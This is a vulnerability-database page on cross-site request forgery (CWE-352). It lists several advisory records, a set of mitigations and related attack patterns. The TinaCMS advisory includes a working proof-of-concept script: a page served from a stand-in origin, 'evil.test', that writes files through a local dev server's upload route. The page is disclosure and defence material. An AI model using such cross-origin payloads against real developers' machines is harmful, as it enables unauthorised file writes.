CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14755 vulnerabilities reference this CWE, most recent first.
GHSA-RGFV-CRGQ-7CPC
Vulnerability from github – Published: 2022-05-14 01:48 – Updated: 2022-05-14 01:48School Attendance Monitoring System 1.0 has CSRF via event/controller.php?action=photos.
{
"affected": [],
"aliases": [
"CVE-2018-18799"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-16T18:29:00Z",
"severity": "HIGH"
},
"details": "School Attendance Monitoring System 1.0 has CSRF via event/controller.php?action=photos.",
"id": "GHSA-rgfv-crgq-7cpc",
"modified": "2022-05-14T01:48:05Z",
"published": "2022-05-14T01:48:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18799"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45726"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/150009/School-Attendance-Monitoring-System-1.0-Shell-Upload.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RGGM-RHPJ-48VX
Vulnerability from github – Published: 2023-10-16 12:33 – Updated: 2024-04-04 08:40Cross-Site Request Forgery (CSRF) vulnerability in MailMunch Constant Contact Forms by MailMunch plugin <= 2.0.10 versions.
{
"affected": [],
"aliases": [
"CVE-2023-45647"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-16T10:15:11Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in MailMunch Constant Contact Forms by MailMunch plugin \u003c=\u00a02.0.10 versions.",
"id": "GHSA-rggm-rhpj-48vx",
"modified": "2024-04-04T08:40:30Z",
"published": "2023-10-16T12:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45647"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/constant-contact-forms-by-mailmunch/wordpress-constant-contact-forms-by-mailmunch-plugin-2-0-10-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RGHF-J4J8-GHH7
Vulnerability from github – Published: 2022-05-17 02:57 – Updated: 2022-05-17 02:57IBM Jazz for Service Management 1.1.2.1 and 1.1.3 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM Reference #: 1998714.
{
"affected": [],
"aliases": [
"CVE-2016-9975"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-24T18:59:00Z",
"severity": "HIGH"
},
"details": "IBM Jazz for Service Management 1.1.2.1 and 1.1.3 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM Reference #: 1998714.",
"id": "GHSA-rghf-j4j8-ghh7",
"modified": "2022-05-17T02:57:10Z",
"published": "2022-05-17T02:57:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9975"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg21998714"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96444"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RGMJ-MCCJ-H9MX
Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-06-30 17:27A server-side request forgery vulnerability exists in Jenkins 2.120 and older, LTS 2.107.2 and older in ZipExtractionInstaller.java that allows users with Overall/Read permission to have Jenkins submit a HTTP GET request to an arbitrary URL and learn whether the response is successful (200) or not.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.107.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.107.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.120"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.108"
},
{
"fixed": "2.121"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000195"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-30T17:27:14Z",
"nvd_published_at": "2018-06-05T21:29:00Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery vulnerability exists in Jenkins 2.120 and older, LTS 2.107.2 and older in ZipExtractionInstaller.java that allows users with Overall/Read permission to have Jenkins submit a HTTP GET request to an arbitrary URL and learn whether the response is successful (200) or not.",
"id": "GHSA-rgmj-mccj-h9mx",
"modified": "2022-06-30T17:27:14Z",
"published": "2022-05-13T01:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000195"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/6eea1e97840b5623829b2c1fd2e363c045bdc230"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2018-05-09/#SECURITY-794"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-Site Request Forgery in Jenkins"
}
GHSA-RGMW-7XJ5-7QQV
Vulnerability from github – Published: 2024-04-02 18:31 – Updated: 2024-04-02 18:31A vulnerability, which was classified as problematic, was found in Bdtask Multi-Store Inventory Management System up to 20240325. Affected is an unknown function of the file /stockmovment/stockmovment/delete/ of the component Stock Movement Page. The manipulation leads to cross-site request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-258924. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-3151"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-02T17:15:46Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in Bdtask Multi-Store Inventory Management System up to 20240325. Affected is an unknown function of the file /stockmovment/stockmovment/delete/ of the component Stock Movement Page. The manipulation leads to cross-site request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-258924. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-rgmw-7xj5-7qqv",
"modified": "2024-04-02T18:31:17Z",
"published": "2024-04-02T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3151"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1oTqULJy357Z4dk85vPR_yMFXRNhwZywX/view?usp=sharing"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.258924"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.258924"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.303898"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RGPP-69XW-MJ7Q
Vulnerability from github – Published: 2022-05-17 03:07 – Updated: 2022-05-17 03:07Multiple cross-site request forgery (CSRF) vulnerabilities in API features in Cisco Unified MeetingPlace 8.6(1.9) allow remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCus95884.
{
"affected": [],
"aliases": [
"CVE-2015-0704"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-04-22T01:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site request forgery (CSRF) vulnerabilities in API features in Cisco Unified MeetingPlace 8.6(1.9) allow remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCus95884.",
"id": "GHSA-rgpp-69xw-mj7q",
"modified": "2022-05-17T03:07:47Z",
"published": "2022-05-17T03:07:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-0704"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/viewAlert.x?alertId=38460"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1032334"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RGR9-R7MJ-MF6X
Vulnerability from github – Published: 2026-08-19 21:56 – Updated: 2026-08-21 18:31Summary
A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running tinacms dev. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.
Details
The issue is in the dev server path of @tinacms/cli.
The Vite dev server installs CORS middleware:
// packages/@tinacms/cli/src/next/vite/plugins.ts
server.middlewares.use(
cors({
origin: corsOriginCheck,
methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],
})
);
For disallowed origins, the origin callback only returns false to the CORS library:
// packages/@tinacms/cli/src/next/vite/cors.ts
return (origin, callback) => {
...
callback(null, false);
};
That does not reject the request server-side. The same request is still routed into the upload handler:
// packages/@tinacms/cli/src/next/vite/plugins.ts
if (req.url.startsWith('/media/upload')) {
await mediaRouter.handlePost(req, res);
return;
}
The upload handler then accepts attacker-controlled path and body data and writes the file:
// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURIComponent(
req.url?.slice('/media/upload/'.length)
);
const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
This is exploitable because multipart/form-data is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.
I validated this locally with a browser-backed repro: - the request origin was a disallowed non-localhost origin, - the browser treated the fetch as blocked, - the local Tina media file was still written with attacker-controlled contents.
The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.
PoC
Minimal reproduction:
- Start a Tina dev server so the media upload route is reachable at:
http://127.0.0.1:<TINA_PORT>/media/upload/<filename>
- From a different, non-allowed origin such as
http://evil.test:8000, serve this page:
<!doctype html>
<script>
(async () => {
const form = new FormData();
form.append(
'file',
new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),
'poc.txt'
);
try {
await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {
method: 'POST',
body: form,
});
console.log('fetch resolved');
} catch {
console.log('fetch blocked by CORS');
}
})();
</script>
-
Open that page in a browser while the Tina dev server is running.
-
Observe:
- the browser reports the cross-origin request as blocked or inaccessible,
- but
poc.txtis still created in the configured media directory, commonly:
public/uploads/poc.txt
- Verify the file contents are:
poc-from-cross-origin
This reproduces the vulnerability without any victim-side manual upload action.
Impact
This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@tinacms/cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63123"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-19T21:56:36Z",
"nvd_published_at": "2026-08-19T22:16:58Z",
"severity": "MODERATE"
},
"details": "### Summary\nA browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running `tinacms dev`. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.\n\n### Details\nThe issue is in the dev server path of `@tinacms/cli`.\n\nThe Vite dev server installs CORS middleware:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nserver.middlewares.use(\n cors({\n origin: corsOriginCheck,\n methods: [\u0027GET\u0027, \u0027HEAD\u0027, \u0027PUT\u0027, \u0027PATCH\u0027, \u0027POST\u0027, \u0027DELETE\u0027],\n })\n);\n```\n\nFor disallowed origins, the origin callback only returns `false` to the CORS library:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/cors.ts\nreturn (origin, callback) =\u003e {\n ...\n callback(null, false);\n};\n```\n\nThat does not reject the request server-side. The same request is still routed into the upload handler:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nif (req.url.startsWith(\u0027/media/upload\u0027)) {\n await mediaRouter.handlePost(req, res);\n return;\n}\n```\n\nThe upload handler then accepts attacker-controlled path and body data and writes the file:\n\n```ts\n// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts\nbb.on(\u0027file\u0027, async (_name, file, _info) =\u003e {\n const fullPath = decodeURIComponent(\n req.url?.slice(\u0027/media/upload/\u0027.length)\n );\n const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);\n await fs.ensureDir(path.dirname(saveTo));\n file.pipe(fs.createWriteStream(saveTo));\n});\n```\n\nThis is exploitable because `multipart/form-data` is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.\n\nI validated this locally with a browser-backed repro:\n- the request origin was a disallowed non-localhost origin,\n- the browser treated the fetch as blocked,\n- the local Tina media file was still written with attacker-controlled contents.\n\nThe demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.\n\n### PoC\nMinimal reproduction:\n\n1. Start a Tina dev server so the media upload route is reachable at:\n```text\nhttp://127.0.0.1:\u003cTINA_PORT\u003e/media/upload/\u003cfilename\u003e\n```\n\n2. From a different, non-allowed origin such as `http://evil.test:8000`, serve this page:\n\n```html\n\u003c!doctype html\u003e\n\u003cscript\u003e\n(async () =\u003e {\n const form = new FormData();\n form.append(\n \u0027file\u0027,\n new Blob([\u0027poc-from-cross-origin\u0027], { type: \u0027text/plain\u0027 }),\n \u0027poc.txt\u0027\n );\n\n try {\n await fetch(\u0027http://127.0.0.1:\u003cTINA_PORT\u003e/media/upload/poc.txt\u0027, {\n method: \u0027POST\u0027,\n body: form,\n });\n console.log(\u0027fetch resolved\u0027);\n } catch {\n console.log(\u0027fetch blocked by CORS\u0027);\n }\n})();\n\u003c/script\u003e\n```\n\n3. Open that page in a browser while the Tina dev server is running.\n\n4. Observe:\n- the browser reports the cross-origin request as blocked or inaccessible,\n- but `poc.txt` is still created in the configured media directory, commonly:\n```text\npublic/uploads/poc.txt\n```\n\n5. Verify the file contents are:\n```text\npoc-from-cross-origin\n```\n\nThis reproduces the vulnerability without any victim-side manual upload action.\n\n### Impact\nThis is a browser-mediated arbitrary file write into the Tina dev server\u2019s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.",
"id": "GHSA-rgr9-r7mj-mf6x",
"modified": "2026-08-21T18:31:29Z",
"published": "2026-08-19T21:56:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63123"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/pull/7111"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinacms/tinacms"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root"
}
GHSA-RGRC-X3V2-4GMM
Vulnerability from github – Published: 2025-03-11 21:30 – Updated: 2026-04-01 18:33Cross-Site Request Forgery (CSRF) vulnerability in a2rocklobster FTP Sync allows Stored XSS. This issue affects FTP Sync: from n/a through 1.1.6.
{
"affected": [],
"aliases": [
"CVE-2025-28892"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-11T21:15:46Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in a2rocklobster FTP Sync allows Stored XSS. This issue affects FTP Sync: from n/a through 1.1.6.",
"id": "GHSA-rgrc-x3v2-4gmm",
"modified": "2026-04-01T18:33:56Z",
"published": "2025-03-11T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28892"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ftp-sync/vulnerability/wordpress-ftp-sync-plugin-1-1-6-csrf-to-stored-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RGV7-V2JH-PV8V
Vulnerability from github – Published: 2025-04-16 15:34 – Updated: 2026-04-01 18:34Cross-Site Request Forgery (CSRF) vulnerability in WP Trio Conditional Shipping for WooCommerce allows Cross Site Request Forgery. This issue affects Conditional Shipping for WooCommerce: from n/a through 3.4.0.
{
"affected": [],
"aliases": [
"CVE-2025-39564"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-16T13:15:49Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in WP Trio Conditional Shipping for WooCommerce allows Cross Site Request Forgery. This issue affects Conditional Shipping for WooCommerce: from n/a through 3.4.0.",
"id": "GHSA-rgv7-v2jh-pv8v",
"modified": "2026-04-01T18:34:44Z",
"published": "2025-04-16T15:34:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39564"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/conditional-shipping-for-woocommerce/vulnerability/wordpress-conditional-shipping-for-woocommerce-3-4-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RGW2-3X9W-G9VF
Vulnerability from github – Published: 2022-05-17 04:03 – Updated: 2022-05-17 04:03Cross-site request forgery (CSRF) vulnerability on Janitza UMG 508, 509, 511, 604, and 605 devices allows remote attackers to hijack the authentication of arbitrary users.
{
"affected": [],
"aliases": [
"CVE-2015-3967"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-10-28T10:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability on Janitza UMG 508, 509, 511, 604, and 605 devices allows remote attackers to hijack the authentication of arbitrary users.",
"id": "GHSA-rgw2-3x9w-g9vf",
"modified": "2022-05-17T04:03:58Z",
"published": "2022-05-17T04:03:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3967"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-265-03"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.